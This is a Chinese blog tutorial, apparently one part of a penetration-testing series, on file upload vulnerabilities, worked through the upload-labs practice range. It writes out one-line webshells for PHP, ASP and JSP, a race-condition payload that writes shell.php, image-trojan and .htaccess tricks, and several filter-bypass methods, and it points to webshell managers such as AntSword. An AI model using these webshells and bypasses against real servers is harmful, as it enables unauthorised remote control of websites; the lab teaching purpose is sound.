网络安全与渗透:文件上传漏洞,一文详解(十)此生无悔入华夏,男儿何不带吴钩

 

中华人民共和国网络安全法

阅读本文前,请熟读并遵守中华人民共和国网络安全法:
http://gkhy.jiujiang.gov.cn/zwgk_228/jc/zcwj/202006/P020200618385401918830.pdf
 


 

简介

文件上传漏洞是指由于程序员未对上传的文件进行严格的验证和过滤,而导致的用户可以越过其本身权限向服务器上上传可执行的动态脚本文件。这里上传的文件可以是木马,病毒,恶意脚本或者WebShell等。这种攻击方式是最为直接和有效的,“文件上传”本身没有问题,有问题的是文件上传后,服务器怎么处理、解释文件。如果服务器的处理逻辑做的不够安全,则会导致严重的后果。

 
 

webshell

webshell就是以asp、php、jsp或者cgi等网页文件形式存在的一种代码执行环境,也可以将其称做为一种网页后门。黑客在入侵了一个网站后,通常会将asp或php后门文件与网站服务器WEB目录下正常的网页文件混在一起,然后就可以使用浏览器来访问asp或者php后门,得到一个命令执行环境,以达到控制网站服务器的目的。
顾名思义,“web”的含义是显然需要服务器开放web服务,“shell”的含义是取得对服务器某种程度上操作权限。webshell常常被称为入侵者通过网站端口对网站服务器的某种程度上操作的权限。由于webshell其大多是以动态脚本的形式出现,也有人称之为网站的后门工具。
不管一句话木马,小马,大码都可以泛称webshell
 
 

靶场搭建

靶场下载地址:https://github.com/c0ny1/upload-labs
首先在虚拟机中安装window系统
然后安装phpstudy,然后将靶场解压到网站根目录就完成了
 

一句话木马

首先我们来写一句话木马,用phpstudy打开网站根目录,建立一个xm.php文件,写入这样一段内容

<?php @eval($_POST["cmd"]);?>

然后在浏览器中访问,设置好cmd的内容,访问就能得到如下界面
在这里插入图片描述
实际渗透中,可以通过文件上传的方式,将这个木马伪装成文件上传到服务器,然后打开文件路径,就能实现这个功效。
当然,也要根据不同的服务器环境,写不同的一句话木马

//asp
<%eval request("cmd")%>

//jsp
<%Runtime.getRuntime().exec(request.getParameter("cmd"));%>

也可以参考网上的一些例子:https://www.dazhuanlan.com/2020/02/29/5e59e5e977386/

 
 

中国蚁剑(AntSword)

中国蚁剑是一款开源的跨平台网站管理工具,它主要面向于合法授权的渗透测试安全人员以及进行常规操作的网站管理员。
中国蚁剑推崇模块化的开发思想,遵循开源,就要开得漂亮的原则,致力于为不同层次的人群提供最简单易懂、方便直接的代码展示及其修改说明,努力让大家可以一起为这个项目贡献出力所能及的点点滴滴,让这款工具真正能让大家用得顺心、舒适,让它能为大家施展出最人性化最适合你的能力!
甚至可以讲:中国蚁剑是 一 款比菜刀还牛的shell控制端软件。

git官网:https://github.com/AntSwordProject/
 
 

安装

有人说git下载有问题,这里提供一个百度云下载,失效留言:
链接:https://pan.baidu.com/s/1vbWS5r5tsUWv10ILnFRi5w
提取码:jiof
通过git的连接,我们下载到两个包,将他们解压,首先运行加载器,就是带有load的包,
在这里插入图片描述
然后运行初始化,选择另一个解压的文件夹,等待一会后,再次打开上图的exe就能够进入antsword运行界面。
 
 

简单使用

1.在中间空白,右键添加数据
2.设置相关信息,这里的url为我们上面的一句话木马地址,如下图,编码,解码格式随意
在这里插入图片描述
3.点击保存,当然也可以进行其他设置,如http头,cookie,忽略证书等。
4.双击打开生成的条码,就可以看到目标服务的目录结构,并能够进行上传下载编辑,等等操作。
5.右键点击条码,虚拟终端,可以进行shell操作。
 

设置代理

快捷键 ctrl + shift + A
设置手动代理,然后设置为我们的代理即可,
不会设代理的可以参考前面的博文:https://blog.csdn.net/qq_25490573/article/details/107632953
在这里插入图片描述

插件

ctrl + shift + P 打开插件时长,上面的代理设置完成后,重启,就能够正常下载使用插件,插件来源是git,所有代理必不可少。

在这里插入图片描述

冰蝎

冰蝎功能和蚁剑类似
下载地址:
链接:https://pan.baidu.com/s/1Ff_RZ9bYkjZNxu8mm-Pdqw
提取码:rwzo
使用方法和蚁剑类似

菜刀

80后用的工具,没有过,不会用

 
 

白名单绕过

1.前端验证绕过

各种网站对于文件上传都会做一个验证,当验证发生在前端时,可以进行页面修改,从而跳过验证。
练习:靶场第一关,
正常上传一个php文件是不允许的,但是我们修改网页源码中的,检查函数,就能够跳过验证,从而上传我们的木马。

2.context-type 验证绕过

我们使用抓包工具,查看文件上传类型,如果服务器是根据context-type来判断文件类型,那么我们就可以修改context-type 来实现验证绕过。
练习靶场第二关
在这里插入图片描述

3. 00截断绕过

0x00是十六进制表示方法,表示ASCII码为0的字符,在一些函数处理时,会把这个字符当作结束符。

    0x00可以用在对文件名的绕过上,具体原理:系统在对文件名进行读取时,如果遇到0x00,就会认为读取已经结束。但要注意是文件的十六进制内容里的00,而不是文件名中的00。也就是说系统是按二进制或十六进制读取文件,遇到ASCII码为0的位置就停止,而这个ASCII码为0的位置在十六进制中是00。

适用场景:储存未知可控,白名单绕过

测试靶场第十二关
测试包场第十三关
这里需要注意的是 php的版本必须小于5.3.4 ,php的magic_quotes_gpc为off状态

 
 

黑名单绕过

上面的检测一般是白名单检测,下面是绕过黑名单的方法

 

1.修改后缀名

修改.php 为.php3
靶场测试第三关
在这里插入图片描述

 

2. .hatches

.hatches文件是apache服务器的一个配置文件,它负责相关目录下的网页配置,通过这个文件,可以实现301重定向,自定义404,改变文件扩展名,允许阻止用户等功能,
靶场练习4
创建一个.htaccess文件,文件内容为:SetHandler application/x-httpd-php
上传这个.hatches文件,
然后将我们的一句话木马文件名改为xxx.jpg3,然后上传成功,
使用成功后的文件连接即可实现绕过
在这里插入图片描述
 

3.大小写过滤

黑名单方式往往存在大小写过滤补全的问题,
靶场第6关,正常上传是无法成功的
将一句话木马文件重命名为xxx.phP然后上传,
在这里插入图片描述

4.后缀绕过,空格,加点,::$DATA,. .,

后缀加空格
在文件后缀名处,加一些内容,不改变文件类型,但是可以绕过黑名单

靶场第七关
这里最好使用抓包工具burpsuite,在此处添加一个空格
在这里插入图片描述
后缀加点
加点可以用靶场第八关测试

后缀加::$DATA
::$DATA是利用了NTFS文件系统的一个特性,虽然加了后缀,但是在请求时被认为是文件本身的数据。
测试靶场第九关
在木马植入后,访问位置时需要去掉::$DATA后缀

后缀加点空格点
测试靶场第十关

后缀双写

在某些场景中,目标网站会取出上传文件的后缀,此时我们需要尝试进行,后缀双写
测试靶场十一关
在这里插入图片描述

竞争条件绕过

这个是利用,某些情况下,目标网站会先把文件上传到服务器,然后在校验文件是否存在危险,然后删除文件,在文件上传上去,到文件删除,中间存在一小段时间,我们将木马改造如下,在这个极小的时间里,我们访问这个文件是可以访问到的。然后这个php文件会新生成我们的木马。
靶场18关
首先将一句话木马改造一下:

<?php fputs(fopen('shell.php','w'),'<?php @eval($_POST["cmd"]);?>');?>

然后上传,用burp抓包,send to intruder
再请求这个文件,如:http://192.168.10.40/upload-labs-master/upload/test.php
然后send to intruder
此时,设置两个请求如下:
1.clear标记
在这里插入图片描述
2.设置payload无限循环
在这里插入图片描述
3.设置线程200
在这里插入图片描述
4.开启两个请求,一段时间后,在机缘巧合之下,就能够生成我们指定的木马。

 
 

图片木马

制作图片木马

命令行
准备一张图片1.jpg和一个木马文件(一句话木马也行),在命令行输入制作命令

copy 1.jpg/b+test.php/a 3.jpg

010editor
用这款工具打开图片,然后在最下方,追加我们的一句话木马,<?php @eval($_POST["cmd"]);?>
其他的编辑工具也可以比如ue

木马利用

上面的图片可以随意的上传到服务器,不会有任何阻碍,但是想要加以利用,还需要以下两种情况

一、文件包含漏洞
如果php文件中存在这样文件包含代码,则存在文件包含漏洞。
在这里插入图片描述
我们只需要指定被包含的文件为我们上传的图片,如:
http://192.168.10.40/upload-labs-master/upload/include.php?file=5420200804182043.jpg

二、解析漏洞
解析漏洞主要是一些特殊文件被iis、Apache、Nginx等服务在某种情况下解释成脚本文件格式并得以执行而产生的漏洞。

1、iis 5.x/6.0解析漏洞

  1. 目录解析漏洞 /xx.asp/xx.jpg
    在网站下创建文件夹名字为.asp、.asa的文件夹,其目录内的任何扩展名的文件都被iis当做asp文件来解析 并执行。因此只要攻击者可以通过该漏洞直接上传图片马,并且可以不需要改后缀名!
  2. 文件解析 xx.asp;.jpg
      在iis6.0下,分号后面的不被解析,所以xx.asp;.jpg被解析为asp脚本得以执行。
  3. 文件类型解析 asa/cer/cdx
    iis6.0 默认的可执行文件除了asp还包含这三种asa、cer、cdx。

2、Apache解析漏洞
Apache对文件的解析主要是从右到左开始判断并进行解析,如果判断为不能解析的类型,则继续向左进行解析,如xx.php.wer.xxxxx将被解析为PHP类型。

3、IIS 7.0/ Nginx <8.03畸形解析漏洞

在默认Fast-CGI开启状况下上传名字为xx.jpg,内容为:
<?PHP fputs(fopen(‘shell.php’,‘w’),’<?php eval($_POST[cmd])?>’);?>
然后访问xx.jpg/.php,在这个目录下就会生成一句话木马shell.php。

更多解析漏洞参考:https://www.cnblogs.com/bmjoker/p/8970017.html

二次渲染绕过

有的图片木马上传后,却无法执行,将图片下载后发现,我们的脚本部分消失了,这是因为图片被进行了二次渲染,
解决方法是,将图片下载下来,和jpg_payload.php一起放到php目录的对饮版本目录里,然后执行下面命令:php jpg_payload.php 图片吗
会在当前目录下生成一个新的图片,新生成的图片就能够正常上传下载了。

未完待续。。。

  • 1
    点赞
  • 3
    收藏
    觉得还不错? 一键收藏
  • 1
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论 1
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值